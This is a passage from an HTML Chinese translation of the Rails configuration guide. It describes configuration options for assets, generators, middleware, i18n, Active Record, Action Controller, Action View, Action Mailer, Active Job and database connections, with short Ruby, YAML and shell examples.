  • config.assets.debug 禁止拼接和压缩静态文件。在 development.rb 文件中默认设为 true
  • +
+

config.assets.version 是在生成 SHA256 哈希值过程中使用的一个字符串。修改这个值可以强制重新编译所有文件。

+
    +
  • config.assets.compile 是一个旗标,设定在生产环境中是否启用实时 Sprockets 编译。
  • +
  • config.assets.logger 接受一个符合 Log4r 接口的日志记录器,或者默认的 Ruby Logger 类。默认值与 config.logger 相同。如果设为 false,不记录对静态资源的伺服。
  • +
  • config.assets.quiet 禁止在日志中记录对静态资源的请求。在 development.rb 文件中默认设为 true
  • +
+

3.3 配置生成器

Rails 允许通过 config.generators 方法调整生成器的行为。这个方法接受一个块:

+
+config.generators do |g|
+  g.orm :active_record
+  g.test_framework :test_unit
+end
+
+
+
+

在这个块中可以使用的全部方法如下:

+
    +
  • assets 指定在生成脚手架时是否创建静态资源。默认为 true
  • +
  • force_plural 指定模型名是否允许使用复数。默认为 false
  • +
  • helper 指定是否生成辅助模块。默认为 true
  • +
  • integration_tool 指定使用哪个集成工具生成集成测试。默认为 :test_unit
  • +
  • javascripts 启用生成器中的 JavaScript 文件钩子。在 Rails 中供 scaffold 生成器使用。默认为 true
  • +
  • javascript_engine 配置生成静态资源时使用的脚本引擎(如 coffee)。默认为 :js
  • +
  • orm 指定使用哪个 ORM。默认为 false,即使用 Active Record。
  • +
  • resource_controller 指定 rails generate resource 使用哪个生成器生成控制器。默认为 :controller
  • +
  • resource_route 指定是否生成资源路由。默认为 true
  • +
  • scaffold_controllerresource_controller 不同,它指定 rails generate scaffold 使用哪个生成器生成脚手架中的控制器。默认为 :scaffold_controller
  • +
  • stylesheets 启用生成器中的样式表钩子。在 Rails 中供 scaffold 生成器使用,不过也可以供其他生成器使用。默认为 true
  • +
  • stylesheet_engine 配置生成静态资源时使用的样式表引擎(如 sass)。默认为 :css
  • +
  • scaffold_stylesheet 生成脚手架中的资源时创建 scaffold.css。默认为 true
  • +
  • test_framework 指定使用哪个测试框架。默认为 false,即使用 Minitest。
  • +
  • template_engine 指定使用哪个模板引擎,例如 ERB 或 Haml。默认为 :erb
  • +
+

3.4 配置中间件

每个 Rails 应用都自带一系列中间件,在开发环境中按下述顺序使用:

+
    +
  • ActionDispatch::SSL 强制使用 HTTPS 伺服每个请求。config.force_ssl 设为 true 时启用。传给这个中间件的选项通过 config.ssl_options 配置。
  • +
  • ActionDispatch::Static 用于伺服静态资源。config.public_file_server.enabled 设为 false 时禁用。如果静态资源目录的索引文件不是 index,使用 config.public_file_server.index_name 指定。例如,请求目录时如果想伺服 main.html,而不是 index.html,把 config.public_file_server.index_name 设为 "main"
  • +
  • ActionDispatch::Executor 以线程安全的方式重新加载代码。onfig.allow_concurrency 设为 false 时禁用,此时加载 Rack::LockRack::Lock 把应用包装在 mutex 中,因此一次只能被一个线程调用。
  • +
  • ActiveSupport::Cache::Strategy::LocalCache 是基本的内存后端缓存。这个缓存对线程不安全,只应该用作单线程的临时内存缓存。
  • +
  • Rack::Runtime 设定 X-Runtime 首部,包含执行请求的时间(单位为秒)。
  • +
  • Rails::Rack::Logger 通知日志请求开始了。请求完成后,清空相关日志。
  • +
  • ActionDispatch::ShowExceptions 拯救应用抛出的任何异常,在本地或者把 config.consider_all_requests_local 设为 true 时渲染精美的异常页面。如果把 config.action_dispatch.show_exceptions 设为 false,异常总是抛出。
  • +
  • ActionDispatch::RequestId 在响应中添加 X-Request-Id 首部,并且启用 ActionDispatch::Request#uuid 方法。
  • +
  • ActionDispatch::RemoteIp 检查 IP 欺骗攻击,从请求首部中获取有效的 client_ip。可通过 config.action_dispatch.ip_spoofing_checkconfig.action_dispatch.trusted_proxies 配置。
  • +
  • Rack::Sendfile 截获从文件中伺服内容的响应,将其替换成服务器专属的 X-Sendfile 首部。可通过 config.action_dispatch.x_sendfile_header 配置。
  • +
  • ActionDispatch::Callbacks 在伺服请求之前运行准备回调。
  • +
  • ActionDispatch::Cookies 为请求设定 cookie。
  • +
  • ActionDispatch::Session::CookieStore 负责把会话存储在 cookie 中。可以把 config.action_controller.session_store 改为其他值,换成其他中间件。此外,可以使用 config.action_controller.session_options 配置传给这个中间件的选项。
  • +
  • ActionDispatch::Flash 设定 flash 键。仅当为 config.action_controller.session_store 设定值时可用。
  • +
  • Rack::MethodOverride 在设定了 params[:_method] 时允许覆盖请求方法。这是支持 PATCH、PUT 和 DELETE HTTP 请求的中间件。
  • +
  • Rack::Head 把 HEAD 请求转换成 GET 请求,然后以 GET 请求伺服。
  • +
+

除了这些常规中间件之外,还可以使用 config.middleware.use 方法添加:

+
+config.middleware.use Magical::Unicorns
+
+
+
+

上述代码把 Magical::Unicorns 中间件添加到栈的末尾。如果想把中间件添加到另一个中间件的前面,可以使用 insert_before

+
+config.middleware.insert_before Rack::Head, Magical::Unicorns
+
+
+
+

也可以使用索引把中间件插入指定的具体位置。例如,若想把 Magical::Unicorns 中间件插入栈顶,可以这么做:

+
+config.middleware.insert_before 0, Magical::Unicorns
+
+
+
+

此外,还有 insert_after。它把中间件添加到另一个中间件的后面:

+
+config.middleware.insert_after Rack::Head, Magical::Unicorns
+
+
+
+

中间件也可以完全替换掉:

+
+config.middleware.swap ActionController::Failsafe, Lifo::Failsafe
+
+
+
+

还可以从栈中移除:

+
+config.middleware.delete Rack::MethodOverride
+
+
+
+

3.5 配置 i18n

这些配置选项都委托给 I18n 库。

+
    +
  • config.i18n.available_locales 设定应用可用的本地化白名单。默认为在本地化文件中找到的全部本地化键,在新应用中通常只有 :en
  • +
  • config.i18n.default_locale 设定供 i18n 使用的默认本地化。默认为 :en
  • +
  • config.i18n.enforce_available_locales 确保传给 i18n 的本地化必须在 available_locales 声明的列表中,否则抛出 I18n::InvalidLocale 异常。默认为 true。除非有特别的原因,否则不建议禁用这个选项,因为这是一项安全措施,能防止用户输入无效的本地化。
  • +
  • config.i18n.load_path 设定 Rails 寻找本地化文件的路径。默认为 config/locales/*.{yml,rb}
  • +
  • +

    config.i18n.fallbacks 设定没有翻译时的回落行为。下面是这个选项的单个使用示例:

    +
      +
    • +

      设为 true,回落到默认区域设置:

      +
      +
      +config.i18n.fallbacks = true
      +
      +
      +
      +
    • +
    • +

      设为一个区域设置数据:

      +
      +
      +config.i18n.fallbacks = [:tr, :en]
      +
      +
      +
      +
    • +
    • +

      还可以为各个区域设置设定不同的回落语言。例如,如果想把 :tr 作为 :az 的回落语言,把 :de 和 :en作为:da` 的回落语言,可以这么做:

      +
      +
      +config.i18n.fallbacks = { az: :tr, da: [:de, :en] }
      +# 或
      +config.i18n.fallbacks.map = { az: :tr, da: [:de, :en] }
      +
      +
      +
      +
    • +
    +
  • +
+

3.6 配置 Active Record

config.active_record 包含众多配置选项:

+
    +
  • config.active_record.logger 接受符合 Log4r 接口的日志记录器,或者默认的 Ruby Logger 类,然后传给新的数据库连接。可以在 Active Record 模型类或实例上调用 logger 方法获取日志记录器。设为 nil 时禁用日志。
  • +
  • +

    config.active_record.primary_key_prefix_type 用于调整主键列的名称。默认情况下,Rails 假定主键列名为 id(无需配置)。此外有两个选择:

    +
      +
    • 设为 :table_name 时,Customer 类的主键为 customerid
    • +
    • 设为 :table_name_with_underscore 时,Customer 类的主键为 customer_id
    • +
    +
  • +
  • config.active_record.table_name_prefix 设定一个全局字符串,放在表名前面。如果设为 northwest_Customer 类对应的表是 northwest_customers。默认为空字符串。

  • +
  • config.active_record.table_name_suffix 设定一个全局字符串,放在表名后面。如果设为 _northwestCustomer 类对应的表是 customers_northwest。默认为空字符串。

  • +
  • config.active_record.schema_migrations_table_name 设定模式迁移表的名称。

  • +
  • config.active_record.pluralize_table_names 指定 Rails 在数据库中寻找单数还是复数表名。如果设为 true(默认),那么 Customer 类使用 customers 表。如果设为 falseCustomer 类使用 customer 表。

  • +
  • config.active_record.default_timezone 设定从数据库中检索日期和时间时使用 Time.local(设为 :local 时)还是 Time.utc(设为 :utc 时)。默认为 :utc

  • +
  • config.active_record.schema_format 控制把数据库模式转储到文件中时使用的格式。可用的值有::ruby(默认),与所用的数据库无关;:sql,转储 SQL 语句(可能与数据库有关)。

  • +
  • config.active_record.error_on_ignored_order_or_limit 指定批量查询时如果忽略顺序是否抛出错误。设为 true 时抛出错误,设为 false 时发出提醒。默认为 false

  • +
  • config.active_record.timestamped_migrations 控制迁移使用整数还是时间戳编号。默认为 true,使用时间戳。如果有多个开发者共同开发同一个应用,建议这么设置。

  • +
  • config.active_record.lock_optimistically 控制 Active Record 是否使用乐观锁。默认为 true

  • +
  • config.active_record.cache_timestamp_format 控制缓存键中时间戳的格式。默认为 :nsec

  • +
  • config.active_record.record_timestamps 是个布尔值选项,控制 createupdate 操作是否更新时间戳。默认值为 true

  • +
  • config.active_record.partial_writes 是个布尔值选项,控制是否使用部分写入(partial write,即更新时是否只设定有变化的属性)。注意,使用部分写入时,还应该使用乐观锁(config.active_record.lock_optimistically),因为并发更新可能写入过期的属性。默认值为 true

  • +
  • config.active_record.maintain_test_schema 是个布尔值选项,控制 Active Record 是否应该在运行测试时让测试数据库的模式与 db/schema.rb(或 db/structure.sql)保持一致。默认为 true

  • +
  • config.active_record.dump_schema_after_migration 是个旗标,控制运行迁移后是否转储模式(db/schema.rbdb/structure.sql)。生成 Rails 应用时,config/environments/production.rb 文件中把它设为 false。如果不设定这个选项,默认为 true

  • +
  • config.active_record.dump_schemas 控制运行 db:structure:dump 任务时转储哪些数据库模式。可用的值有::schema_search_path(默认),转储 schema_search_path 列出的全部模式;:all,不考虑 schema_search_path,始终转储全部模式;以逗号分隔的模式字符串。

  • +
  • config.active_record.belongs_to_required_by_default 是个布尔值选项,控制没有 belongs_to 关联时记录的验证是否失败。

  • +
  • config.active_record.warn_on_records_fetched_greater_than 为查询结果的数量设定一个提醒阈值。如果查询返回的记录数量超过这一阈值,在日志中记录一个提醒。可用于标识可能导致内存泛用的查询。

  • +
  • config.active_record.index_nested_attribute_errors 让嵌套的 has_many 关联错误显示索引。默认为 false

  • +
  • config.active_record.use_schema_cache_dump 设为 true 时,用户可以从 db/schema_cache.yml 文件中获取模式缓存信息,而不用查询数据库。默认为 true

  • +
+

MySQL 适配器添加了一个配置选项:

+
    +
  • ActiveRecord::ConnectionAdapters::Mysql2Adapter.emulate_booleans 控制 Active Record 是否把 tinyint(1) 类型的列当做布尔值。默认为 true
  • +
+

模式转储程序添加了一个配置选项:

+
    +
  • ActiveRecord::SchemaDumper.ignore_tables 指定一个表数组,不包含在生成的模式文件中。如果 config.active_record.schema_format 的值不是 :ruby,这个设置会被忽略。
  • +
+

3.7 配置 Action Controller

config.action_controller 包含众多配置选项:

+
    +
  • config.action_controller.asset_host 设定静态资源的主机。不使用应用自身伺服静态资源,而是通过 CDN 伺服时设定。
  • +
  • config.action_controller.perform_caching 配置应用是否使用 Action Controller 组件提供的缓存功能。默认在开发环境中为 false,在生产环境中为 true
  • +
  • config.action_controller.default_static_extension 配置缓存页面的扩展名。默认为 .html
  • +
  • config.action_controller.include_all_helpers 配置视图辅助方法在任何地方都可用,还是只在相应的控制器中可用。如果设为 falseUsersHelper 模块中的方法只在 UsersController 的视图中可用。如果设为 trueUsersHelper 模块中的方法在任何地方都可用。默认的行为(不明确设为 truefalse)是视图辅助方法在每个控制器中都可用。
  • +
  • config.action_controller.logger 接受符合 Log4r 接口的日志记录器,或者默认的 Ruby Logger 类,用于记录 Action Controller 的信息。设为 nil 时禁用日志。
  • +
  • config.action_controller.request_forgery_protection_token 设定请求伪造的令牌参数名称。调用 protect_from_forgery 默认把它设为 :authenticity_token
  • +
  • config.action_controller.allow_forgery_protection 启用或禁用 CSRF 防护。在测试环境中默认为 false,其他环境默认为 true
  • +
  • config.action_controller.forgery_protection_origin_check 配置是否检查 HTTP Origin 首部与网站的源一致,作为一道额外的 CSRF 防线。
  • +
  • config.action_controller.per_form_csrf_tokens 控制 CSRF 令牌是否只在生成它的方法(动作)中有效。
  • +
  • config.action_controller.relative_url_root 用于告诉 Rails 你把应用部署到子目录中。默认值为 ENV['RAILS_RELATIVE_URL_ROOT']
  • +
  • config.action_controller.permit_all_parameters 设定默认允许批量赋值全部参数。默认值为 false
  • +
  • config.action_controller.action_on_unpermitted_parameters 设定在发现没有允许的参数时记录日志还是抛出异常。设为 :log:raise 时启用。开发和测试环境的默认值是 :log,其他环境的默认值是 false
  • +
  • config.action_controller.always_permitted_parameters 设定一组默认允许传入的参数白名单。默认值为 ['controller', 'action']
  • +
  • +

    config.action_controller.enable_fragment_cache_logging 指明是否像下面这样在日志中详细记录片段缓存的读写操作:

    +
    +
    +Read fragment views/v1/2914079/v1/2914079/recordings/70182313-20160225015037000000/d0bdf2974e1ef6d31685c3b392ad0b74 (0.6ms)
    +Rendered messages/_message.html.erb in 1.2 ms [cache hit]
    +Write fragment views/v1/2914079/v1/2914079/recordings/70182313-20160225015037000000/3b4e249ac9d168c617e32e84b99218b5 (1.1ms)
    +Rendered recordings/threads/_thread.html.erb in 1.5 ms [cache miss]
    +Rendered messages/_message.html.erb in 1.2 ms [cache hit]
    +Rendered recordings/threads/_thread.html.erb in 1.5 ms [cache miss]
    +
    +
    +
    +
  • +
+

3.8 配置 Action Dispatch

+
    +
  • config.action_dispatch.session_store 设定存储会话数据的存储器。默认为 :cookie_store;其他有效的值包括 :active_record_store:mem_cache_store 或自定义类的名称。
  • +
  • +

    config.action_dispatch.default_headers 的值是一个散列,设定每个响应默认都有的 HTTP 首部。默认定义的首部有:

    +
    +
    +config.action_dispatch.default_headers = {
    +  'X-Frame-Options' => 'SAMEORIGIN',
    +  'X-XSS-Protection' => '1; mode=block',
    +  'X-Content-Type-Options' => 'nosniff'
    +}
    +
    +
    +
    +
  • +
  • config.action_dispatch.default_charset 指定渲染时使用的默认字符集。默认为 nil

  • +
  • config.action_dispatch.tld_length 设定应用的 TLD(top-level domain,顶级域名)长度。默认为 1

  • +
  • config.action_dispatch.ignore_accept_header 设定是否忽略请求中的 Accept 首部。默认为 false

  • +
  • config.action_dispatch.x_sendfile_header 指定服务器具体使用的 X-Sendfile 首部。通过服务器加速发送文件时用得到。例如,使用 Apache 时设为 'X-Sendfile'。

  • +
  • config.action_dispatch.http_auth_salt 设定 HTTP Auth 的盐值。默认为 'http authentication'

  • +
  • config.action_dispatch.signed_cookie_salt 设定签名 cookie 的盐值。默认为 'signed cookie'

  • +
  • config.action_dispatch.encrypted_cookie_salt 设定加密 cookie 的盐值。默认为 'encrypted cookie'

  • +
  • config.action_dispatch.encrypted_signed_cookie_salt 设定签名加密 cookie 的盐值。默认为 'signed encrypted cookie'

  • +
  • config.action_dispatch.perform_deep_munge 配置是否在参数上调用 deep_munge 方法。详情参见 生成不安全的查询。默认为 true

  • +
  • +

    config.action_dispatch.rescue_responses 设定异常与 HTTP 状态的对应关系。其值为一个散列,指定异常和状态之间的映射。默认的定义如下:

    +
    +
    +config.action_dispatch.rescue_responses = {
    +  'ActionController::RoutingError'               => :not_found,
    +  'AbstractController::ActionNotFound'           => :not_found,
    +  'ActionController::MethodNotAllowed'           => :method_not_allowed,
    +  'ActionController::UnknownHttpMethod'          => :method_not_allowed,
    +  'ActionController::NotImplemented'             => :not_implemented,
    +  'ActionController::UnknownFormat'              => :not_acceptable,
    +  'ActionController::InvalidAuthenticityToken'   => :unprocessable_entity,
    +  'ActionController::InvalidCrossOriginRequest'  => :unprocessable_entity,
    +  'ActionDispatch::Http::Parameters::ParseError' => :bad_request,
    +  'ActionController::BadRequest'                 => :bad_request,
    +  'ActionController::ParameterMissing'           => :bad_request,
    +  'Rack::QueryParser::ParameterTypeError'        => :bad_request,
    +  'Rack::QueryParser::InvalidParameterError'     => :bad_request,
    +  'ActiveRecord::RecordNotFound'                 => :not_found,
    +  'ActiveRecord::StaleObjectError'               => :conflict,
    +  'ActiveRecord::RecordInvalid'                  => :unprocessable_entity,
    +  'ActiveRecord::RecordNotSaved'                 => :unprocessable_entity
    +}
    +
    +
    +
    +

    没有配置的异常映射为 500 Internal Server Error。

    +
  • +
  • ActionDispatch::Callbacks.before 接受一个代码块,在请求之前运行。

  • +
  • ActionDispatch::Callbacks.to_prepare 接受一个块,在 ActionDispatch::Callbacks.before 之后、请求之前运行。在开发环境中每个请求都会运行,但在生产环境或 cache_classes 设为 true 的环境中只运行一次。

  • +
  • ActionDispatch::Callbacks.after 接受一个代码块,在请求之后运行。

  • +
+

3.9 配置 Action View

config.action_view 有一些配置选项:

+
    +
  • +

    config.action_view.field_error_proc 提供一个 HTML 生成器,用于显示 Active Model 抛出的错误。默认为:

    +
    +
    +Proc.new do |html_tag, instance|
    +  %Q(<div class="field_with_errors">#{html_tag}</div>).html_safe
    +end
    +
    +
    +
    +
  • +
  • config.action_view.default_form_builder 告诉 Rails 默认使用哪个表单构造器。默认为 ActionView::Helpers::FormBuilder。如果想在初始化之后加载表单构造器类,把值设为一个字符串。

  • +
  • config.action_view.logger 接受符合 Log4r 接口的日志记录器,或者默认的 Ruby Logger 类,用于记录 Action View 的信息。设为 nil 时禁用日志。

  • +
  • config.action_view.erb_trim_mode 让 ERB 使用修剪模式。默认为 '-',使用 <%= -%><%= =%> 时裁掉尾部的空白和换行符。详情参见 Erubis 的文档

  • +
  • config.action_view.embed_authenticity_token_in_remote_forms 设定具有 remote: true 选项的表单中 authenticity_token 的默认行为。默认设为 false,即远程表单不包含 authenticity_token,对表单做片段缓存时可以这么设。远程表单从 meta 标签中获取真伪令牌,因此除非要支持没有 JavaScript 的浏览器,否则不应该内嵌在表单中。如果想支持没有 JavaScript 的浏览器,可以在表单选项中设定 authenticity_token: true,或者把这个配置设为 true

  • +
  • +

    config.action_view.prefix_partial_path_with_controller_namespace 设定渲染嵌套在命名空间中的控制器时是否在子目录中寻找局部视图。例如,Admin::ArticlesController 渲染这个模板:

    +
    +
    +<%= render @article %>
    +
    +
    +
    +

    默认设置是 true,使用局部视图 /admin/articles/_article.erb。设为 false 时,渲染 /articles/_article.erb——这与渲染没有放入命名空间中的控制器一样,例如 ArticlesController

    +
  • +
  • config.action_view.raise_on_missing_translations 设定缺少翻译时是否抛出错误。

  • +
  • config.action_view.automatically_disable_submit_tag 设定点击提交按钮(submit_tag)时是否自动将其禁用。默认为 true

  • +
  • config.action_view.debug_missing_translation 设定是否把缺少的翻译键放在 <span> 标签中。默认为 true

  • +
  • config.action_view.form_with_generates_remote_forms 指明 form_with 是否生成远程表单。默认为 true

  • +
+

3.10 配置 Action Mailer

config.action_mailer 有一些配置选项:

+
    +
  • config.action_mailer.logger 接受符合 Log4r 接口的日志记录器,或者默认的 Ruby Logger 类,用于记录 Action Mailer 的信息。设为 nil 时禁用日志。
  • +
  • +

    config.action_mailer.smtp_settings 用于详细配置 :smtp 发送方法。值是一个选项散列,包含下述选项:

    +
      +
    • :address:设定远程邮件服务器的地址。默认为 localhost。
    • +
    • :port:如果邮件服务器不在 25 端口上(很少发生),可以修改这个选项。
    • +
    • :domain:如果需要指定 HELO 域名,通过这个选项设定。
    • +
    • :user_name:如果邮件服务器需要验证身份,通过这个选项设定用户名。
    • +
    • :password:如果邮件服务器需要验证身份,通过这个选项设定密码。
    • +
    • :authentication:如果邮件服务器需要验证身份,要通过这个选项设定验证类型。这个选项的值是一个符号,可以是 :plain:login:cram_md5
    • +
    • :enable_starttls_auto:检测 SMTP 服务器是否启用了 STARTTLS,如果启用就使用。默认为 true
    • +
    • :openssl_verify_mode:使用 TLS 时可以设定 OpenSSL 检查证书的方式。需要验证自签名或通配证书时用得到。值为 :none:peer,或相应的常量 OpenSSL::SSL::VERIFY_NONEOpenSSL::SSL::VERIFY_PEER`。
    • +
    • :ssl/:tls:通过 SMTP/TLS 连接 SMTP。
    • +
    +
  • +
  • +

    config.action_mailer.sendmail_settings 用于详细配置 sendmail 发送方法。值是一个选项散列,包含下述选项:

    +
      +
    • :location:sendmail 可执行文件的位置。默认为 /usr/sbin/sendmail
    • +
    • :arguments:命令行参数。默认为 -i
    • +
    +
  • +
  • config.action_mailer.raise_delivery_errors 指定无法发送电子邮件时是否抛出错误。默认为 true

  • +
  • config.action_mailer.delivery_method 设定发送方法,默认为 :smtp。详情参见 配置 Action Mailer

  • +
  • config.action_mailer.perform_deliveries 指定是否真的发送邮件,默认为 true。测试时建议设为 false

  • +
  • +

    config.action_mailer.default_options 配置 Action Mailer 的默认值。用于为每封邮件设定 fromreply_to 等选项。设定的默认值为:

    +
    +
    +mime_version:  "1.0",
    +charset:       "UTF-8",
    +content_type: "text/plain",
    +parts_order:  ["text/plain", "text/enriched", "text/html"]
    +
    +
    +
    +

    若想设定额外的选项,使用一个散列:

    +
    +
    +config.action_mailer.default_options = {
    +  from: "noreply@example.com"
    +}
    +
    +
    +
    +
  • +
  • +

    config.action_mailer.observers 注册观测器(observer),发送邮件时收到通知。

    +
    +
    +config.action_mailer.observers = ["MailObserver"]
    +
    +
    +
    +
  • +
  • +

    config.action_mailer.interceptors 注册侦听器(interceptor),在发送邮件前调用。

    +
    +
    +config.action_mailer.interceptors = ["MailInterceptor"]
    +
    +
    +
    +
  • +
  • +

    config.action_mailer.preview_path 指定邮件程序预览的位置。

    +
    +
    +config.action_mailer.preview_path = "#{Rails.root}/lib/mailer_previews"
    +
    +
    +
    +
  • +
  • +

    config.action_mailer.show_previews 启用或禁用邮件程序预览。开发环境默认为 true

    +
    +
    +config.action_mailer.show_previews = false
    +
    +
    +
    +
  • +
  • config.action_mailer.deliver_later_queue_name 设定邮件程序的队列名称。默认为 mailers

  • +
  • config.action_mailer.perform_caching 指定是否片段缓存邮件模板。在所有环境中默认为 false

  • +
+

3.11 配置 Active Support

Active Support 有一些配置选项:

+
    +
  • config.active_support.bare 指定在启动 Rails 时是否加载 active_support/all。默认为 nil,即加载 active_support/all
  • +
  • config.active_support.test_order 设定执行测试用例的顺序。可用的值是 :random:sorted。默认为 :random
  • +
  • config.active_support.escape_html_entities_in_json 指定在 JSON 序列化中是否转义 HTML 实体。默认为 true
  • +
  • config.active_support.use_standard_json_time_format 指定是否把日期序列化成 ISO 8601 格式。默认为 true
  • +
  • config.active_support.time_precision 设定 JSON 编码的时间值的精度。默认为 3
  • +
  • ActiveSupport::Logger.silencer 设为 false 时静默块的日志。默认为 true
  • +
  • ActiveSupport::Cache::Store.logger 指定缓存存储操作使用的日志记录器。
  • +
  • ActiveSupport::Deprecation.behavior 的作用与 config.active_support.deprecation 相同,用于配置 Rails 弃用提醒的行为。
  • +
  • ActiveSupport::Deprecation.silence 接受一个块,块里的所有弃用提醒都静默。
  • +
  • ActiveSupport::Deprecation.silenced 设定是否显示弃用提醒。
  • +
+

3.12 配置 Active Job

config.active_job 提供了下述配置选项:

+
    +
  • +

    config.active_job.queue_adapter 设定队列后端的适配器。默认的适配器是 :async。最新的内置适配器参见 ActiveJob::QueueAdapters 的 API 文档

    +
    +
    +# 要把适配器的 gem 写入 Gemfile
    +# 请参照适配器的具体安装和部署说明
    +config.active_job.queue_adapter = :sidekiq
    +
    +
    +
    +
  • +
  • +

    config.active_job.default_queue_name 用于修改默认的队列名称。默认为 "default"

    +
    +
    +config.active_job.default_queue_name = :medium_priority
    +
    +
    +
    +
  • +
  • +

    config.active_job.queue_name_prefix 用于为所有作业设定队列名称的前缀(可选)。默认为空,不使用前缀。

    +

    做下述配置后,在生产环境中运行时把指定作业放入 production_high_priority 队列中:

    +
    +
    +config.active_job.queue_name_prefix = Rails.env
    +
    +
    +
    +
    +
    +class GuestsCleanupJob < ActiveJob::Base
    +  queue_as :high_priority
    +  #....
    +end
    +
    +
    +
    +
  • +
  • +

    config.active_job.queue_name_delimiter 的默认值是 '_'。如果设定了 queue_name_prefix,使用 queue_name_delimiter 连接前缀和队列名。

    +

    下述配置把指定作业放入 video_server.low_priority 队列中:

    +
    +
    +# 设定了前缀才会使用分隔符
    +config.active_job.queue_name_prefix = 'video_server'
    +config.active_job.queue_name_delimiter = '.'
    +
    +
    +
    +
    +
    +class EncoderJob < ActiveJob::Base
    +  queue_as :low_priority
    +  #....
    +end
    +
    +
    +
    +
  • +
  • config.active_job.logger 接受符合 Log4r 接口的日志记录器,或者默认的 Ruby Logger 类,用于记录 Action Job 的信息。在 Active Job 类或实例上调用 logger 方法可以获取日志记录器。设为 nil 时禁用日志。

  • +
+

3.13 配置 Action Cable

+
    +
  • config.action_cable.url 的值是一个 URL 字符串,指定 Action Cable 服务器的地址。如果 Action Cable 服务器与主应用的服务器不同,可以使用这个选项。
  • +
  • config.action_cable.mount_path 的值是一个字符串,指定把 Action Cable 挂载在哪里,作为主服务器进程的一部分。默认为 /cable。可以设为 nil,不把 Action Cable 挂载为常规 Rails 服务器的一部分。
  • +
+

3.14 配置数据库

几乎所有 Rails 应用都要与数据库交互。可以通过环境变量 ENV['DATABASE_URL']config/database.yml 配置文件中的信息连接数据库。

config/database.yml 文件中可以指定访问数据库所需的全部信息:

+
+development:
+  adapter: postgresql
+  database: blog_development
+  pool: 5
+
+
+
+

此时使用 postgresql 适配器连接名为 blog_development 的数据库。这些信息也可以存储在一个 URL 中,然后通过环境变量提供,如下所示:

+
+> puts ENV['DATABASE_URL']
+postgresql://localhost/blog_development?pool=5
+
+
+
+

config/database.yml 文件分成三部分,分别对应 Rails 默认支持的三个环境:

+
    +
  • development 环境在开发(本地)电脑中使用,手动与应用交互。
  • +
  • test 环境用于运行自动化测试。
  • +
  • production 环境在把应用部署到线上时使用。
  • +
+

如果愿意,可以在 config/database.yml 文件中指定连接 URL:

+
+development:
+  url: postgresql://localhost/blog_development?pool=5
+
+
+
+

config/database.yml 文件中可以包含 ERB 标签 <%= %>。这个标签中的内容作为 Ruby 代码执行。可以使用这个标签从环境变量中获取数据,或者执行计算,生成所需的连接信息。

无需自己动手更新数据库配置。如果查看应用生成器的选项,你会发现其中一个名为 --database。通过这个选项可以从最常使用的关系数据库中选择一个。甚至还可以重复运行这个生成器:cd .. && rails new blog --database=mysql。同意重写 config/database.yml 文件后,应用的配置会针对 MySQL 更新。常见的数据库连接示例参见下文。

3.15 连接配置的优先级

因为有两种配置连接的方式(使用 config/database.yml 文件或者一个环境变量),所以要明白二者之间的关系。

如果 config/database.yml 文件为空,而 ENV['DATABASE_URL'] 有值,那么 Rails 使用环境变量连接数据库:

+
+$ cat config/database.yml
+
+$ echo $DATABASE_URL
+postgresql://localhost/my_database
+
+
+
+

如果在 config/database.yml 文件中做了配置,而 ENV['DATABASE_URL'] 没有值,那么 Rails 使用这个文件中的信息连接数据库:

+
+$ cat config/database.yml
+development:
+  adapter: postgresql
+  database: my_database
+  host: localhost
+
+$ echo $DATABASE_URL
+
+
+
+

如果 config/database.yml 文件中做了配置,而且 ENV['DATABASE_URL'] 有值,Rails 会把二者合并到一起。为了更好地理解,必须看些示例。

如果连接信息有重复,环境变量中的信息优先级高:

+
+$ cat config/database.yml
+development:
+  adapter: sqlite3
+  database: NOT_my_database
+  host: localhost
+
+$ echo $DATABASE_URL
+postgresql://localhost/my_database
+
+$ bin/rails runner 'puts ActiveRecord::Base.configurations'
+{"development"=>{"adapter"=>"postgresql", "host"=>"localhost", "database"=>"my_database"}}
+
+
+
+

可以看出,适配器、主机和数据库与 ENV['DATABASE_URL'] 中的信息匹配。

如果信息无重复,都是唯一的,遇到冲突时还是环境变量中的信息优先级高:

+
+$ cat config/database.yml
+development:
+  adapter: sqlite3
+  pool: 5
+
+$ echo $DATABASE_URL
+postgresql://localhost/my_database
+
+$ bin/rails runner 'puts ActiveRecord::Base.configurations'
+{"development"=>{"adapter"=>"postgresql", "host"=>"localhost", "database"=>"my_database", "pool"=>5}}
+
+
+
+

ENV['DATABASE_URL'] 没有提供连接池数量,因此从文件中获取。而两处都有 adapter,因此 ENV['DATABASE_URL'] 中的连接信息胜出。

如果不想使用 ENV['DATABASE_URL'] 中的连接信息,唯一的方法是使用 "url" 子键指定一个 URL:

+
+$ cat config/database.yml
+development:
+  url: sqlite3:NOT_my_database
+
+$ echo $DATABASE_URL
+postgresql://localhost/my_database
+
+$ bin/rails runner 'puts ActiveRecord::Base.configurations'
+{"development"=>{"adapter"=>"sqlite3", "database"=>"NOT_my_database"}}
+
+
+
+

这里,ENV['DATABASE_URL'] 中的连接信息被忽略了。注意,适配器和数据库名称不同了。

因为在 config/database.yml 文件中可以内嵌 ERB,所以最好明确表明使用 ENV['DATABASE_URL'] 连接数据库。这在生产环境中特别有用,因为不应该把机密信息(如数据库密码)提交到源码控制系统中(如 Git)。

+
+$ cat config/database.yml
+production:
+  url: <%= ENV['DATABASE_URL'] %>
+
+
+
+

现在的行为很明确,只使用 <%= ENV['DATABASE_URL'] %> 中的连接信息。

3.15.1 配置 SQLite3 数据库

Rails 内建支持 SQLite3,这是一个轻量级无服务器数据库应用。SQLite 可能无法负担生产环境,但是在开发和测试环境中用着很好。新建 Rails 项目时,默认使用 SQLite 数据库,不过之后可以随时更换。

下面是默认配置文件(config/database.yml)中开发环境的连接信息:

+
+development:
+  adapter: sqlite3
+  database: db/development.sqlite3
+  pool: 5
+  timeout: 5000
+
+
+
+

Rails 默认使用 SQLite3 存储数据,因为它无需配置,立即就能使用。Rails 还原生支持 MySQL(含 MariaDB)和 PostgreSQL,此外还有针对其他多种数据库系统的插件。在生产环境中使用的数据库,基本上都有相应的 Rails 适配器。

3.15.2 配置 MySQL 或 MariaDB 数据库

如果选择使用 MySQL 或 MariaDB,而不是 SQLite3,config/database.yml 文件的内容稍有不同。下面是开发环境的连接信息:

+
+development:
+  adapter: mysql2
+  encoding: utf8
+  database: blog_development
+  pool: 5
+  username: root
+  password:
+  socket: /tmp/mysql.sock
+
+
+
+

如果开发数据库使用 root 用户,而且没有密码,这样配置就行了。否则,要相应地修改 development 部分的用户名和密码。

3.15.3 配置 PostgreSQL 数据库

